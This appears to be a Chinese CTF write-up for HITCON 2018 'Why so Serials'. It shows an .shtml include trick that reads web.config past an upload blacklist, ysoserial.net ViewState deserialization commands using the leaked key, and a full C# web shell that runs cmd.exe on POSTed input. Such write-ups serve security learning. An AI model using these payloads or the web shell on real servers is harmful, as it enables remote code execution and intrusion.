HITCON CTF 2018 - Why so Serials

打开发现是一道文件上传题,在页面源码中可以发现是aspx写的网站,并在路径/Default.aspx.txt给出了源码,查看源码发现上传黑名单限制:

blacklists = {".aspx", ".config", ".ashx", ".asmx", ".aspq", ".axd", ".cshtm", ".cshtml", ".rem", ".soap", ".vbhtm", ".vbhtml", ".asa", ".asp", ".cer"}

发现没有过滤shtml,在包含命令的文本传给浏览器之前,会对shtml文档进行完全的读取、分析和修改,可以利用shtml中的#include来获取web.config的配置信息。
在这里插入图片描述
通过获取道的配置信息,进行viewstate反序列化攻击,可以使用 ysoserial.net 的 ViewState Plugin 产生合法 MAC 与正确的加密内容,在利用invoke Process.Start 执行cmd命令即可

ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\pwn.txt" --generator="CA0B0334" --validationalg="MD5" --validationkey="b07b0f97365416288cf0247cffdf135d25f6be87"

但是异常的validationKey通常会导致aspx页面回显500,所以无法得知指令执行的结果。
利用ActivitySurrogateSelectorFromFile的gadget进行,gadget利用Assembly.Load载入.net达成Remote Code Execution,建立无连接的shell后门

ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "C:\Users\zhu\Desktop\ExploitClass.cs;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Web.dll" --generator="CA0B0334" --validationalg="SHA1" --validationkey="b07b0f97365416288cf0247cffdf135d25f6be87"

-c 参数放的就不再是系统指令而是想执行的 ExploitClass.cs,dll可以在本机找到

class E{
    public E()
    {
        System.Web.HttpContext context = System.Web.HttpContext.Current;
        context.Server.ClearError();
        context.Response.Clear();
        try
        {
            System.Diagnostics.Process process = new System.Diagnostics.Process();
            process.StartInfo.FileName = "cmd.exe";
            string cmd = context.Request.Form["cmd"];
            process.StartInfo.Arguments = "/c " + cmd;
            process.StartInfo.RedirectStandardOutput = true;
            process.StartInfo.RedirectStandardError = true;
            process.StartInfo.UseShellExecute = false;
            process.Start();
            string output = process.StandardOutput.ReadToEnd();
            context.Response.Write(output);
        } catch (System.Exception) {}
        context.Response.Flush();
        context.Response.End();
    }}

其中 Server.ClearError() 和 Response.End() 都是必要且重要的一步,因为异常的 VIEWSTATE 必然会使得 aspx 页面回应 500 或其他非预期的 Server Error,而第一个函式可以协助清除在当前 Runtime 环境下 stack 中所记录的错误,而 End() 可以让 ASP.NET 将当前上下文标记为请求已处理完成並直接将 Response 回应給客戶端,避免程式继续进入其他 Error Handler 处理导致无法取得指令执行的输出结果。
在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值